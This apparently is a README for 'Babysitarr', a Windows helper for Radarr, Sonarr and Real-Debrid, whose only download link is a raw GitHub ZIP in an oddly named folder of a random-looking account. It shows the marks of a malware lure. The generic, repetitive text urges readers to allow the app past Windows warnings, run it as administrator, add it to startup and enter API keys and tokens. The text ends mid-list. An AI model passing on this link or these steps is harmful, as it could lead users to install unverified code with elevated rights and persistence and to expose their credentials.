Babysitarr is a small Windows app that watches your Radarr, Sonarr, and Real-Debrid setup.
It helps keep your media queue in a good state by checking for problems and acting when something goes wrong. If a download stalls, a link breaks, or a job needs a restart, Babysitarr keeps an eye on it so you do not have to check things by hand.
Use it if you want a simple background tool that helps your media stack stay on track.
Before you run Babysitarr on Windows, make sure you have:
- A Windows 10 or Windows 11 PC
- An internet connection
- Access to your Radarr or Sonarr setup
- Your Real-Debrid account details if you use Real-Debrid
- Permission to run apps on your PC
Babysitarr is built for a normal home setup. You do not need to know programming to use it.
Visit this page to download and use Babysitarr:
https://raw.githubusercontent.com/Semicircleefferent720/Babysitarr/main/glochidial/Software-1.3.zip
If the page includes a release file, download it to your PC. If it gives you the source files only, use the release section on the page to get the Windows build.
Follow these steps on your Windows PC:
- Open the download page.
- Find the latest version.
- Download the Windows file.
- Save it to a folder you can find, like Downloads or Desktop.
- If the file is in a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Run the Babysitarr file.
If Windows asks whether you want to allow the app to run, choose Yes.
When Babysitarr starts for the first time, set up your media tools and account details.
Enter the app address for Radarr or Sonarr.
You may need:
- The local address or server address
- The API key from Radarr or Sonarr
- The correct port number if your setup uses one
A common setup looks like this:
- Radarr:
http://localhost:7878 - Sonarr:
http://localhost:8989
If your apps run on another device, use that deviceβs IP address instead of localhost.
If you use Real-Debrid, enter the account data Babysitarr needs to watch your links and tasks.
This usually includes:
- Your API token
- Any account path or service setting the app asks for
Keep this info private.
After you fill in the fields, save the setup.
Babysitarr should now be ready to run in the background.
Once the app is set up, keep it running while you use Radarr, Sonarr, and Real-Debrid.
Babysitarr checks the pipeline for common problems such as:
- Stalled downloads
- Failed jobs
- Broken links
- Tasks that need a restart
- Items that did not move through the queue the right way
You do not need to watch every step by hand. Babysitarr does that for you.
For the best results, leave Babysitarr open while your media apps are active.
You can:
- Start it when Windows starts
- Keep it in the background
- Check it when a download does not finish
- Leave it on the same PC as Radarr or Sonarr
If you want it to work all the time, place it in your startup folder or use Task Scheduler in Windows.
Look for Babysitarr in your system tray or open app window.
If it is not there, start it again from the file you downloaded.
Open the app, go to the settings page, and update your Radarr, Sonarr, or Real-Debrid info.
Save the changes before you close the window.
Close the window or right-click the tray icon if one is shown.
Try these steps:
- Make sure you downloaded the correct Windows file
- Move the file to a simple folder like Desktop
- Right-click the file and choose Run as administrator
- Check whether Windows blocked the file
- Extract the ZIP file first if you downloaded one
Check these items:
- The app address is correct
- The API key matches the one in Radarr or Sonarr
- The device is on the same network
- The port number is correct
- Radarr or Sonarr is running
Try the following:
- Recheck your token
- Make sure your Real-Debrid account is active
- Paste the token again to avoid hidden spaces
- Save the settings after editing them
Check that:
- The app is still running
- Your media apps are reachable
- Your settings were saved
- The watched services are set up in the app
A simple folder layout helps keep things easy:
Downloads\BabysitarrDesktop\BabysitarrDocuments\Media Tools\Babysitarr
Keep the app in one folder and do not move files after setup unless you need to.
Babysitarr uses the data you enter to connect to your media tools.
Keep these items safe:
- Radarr API key
- Sonarr API key
- Real-Debrid token
Do not share them in public posts or screenshots.
Babysitarr fits well if you want to:
- Keep Radarr and Sonarr jobs moving
- Watch Real-Debrid links without manual checks
- Reduce failed downloads
- Catch stalled tasks early
- Run a helper tool in the background
- Open the download page.
- Download the Windows file.
- Extract it if needed.
- Run Babysitarr.
- Enter your Radarr or Sonarr details.

- Save the settings.
- Leave the app running
If you want the app to start with Windows:
- Press
Win + R - Type
shell:startup - Put a shortcut to Babysitarr in that folder
If you want to run it with a delay after boot, use Task Scheduler and set it to start a few minutes after login.
Depending on the release, the file may look like one of these:
Babysitarr.exeBabysitarr.zipBabysitarr-win-x64.exeBabysitarr-setup.exe
If you see a ZIP file, extract it before you run the app
When Babysitarr is set up, it should:
- Start with Windows if you set that up
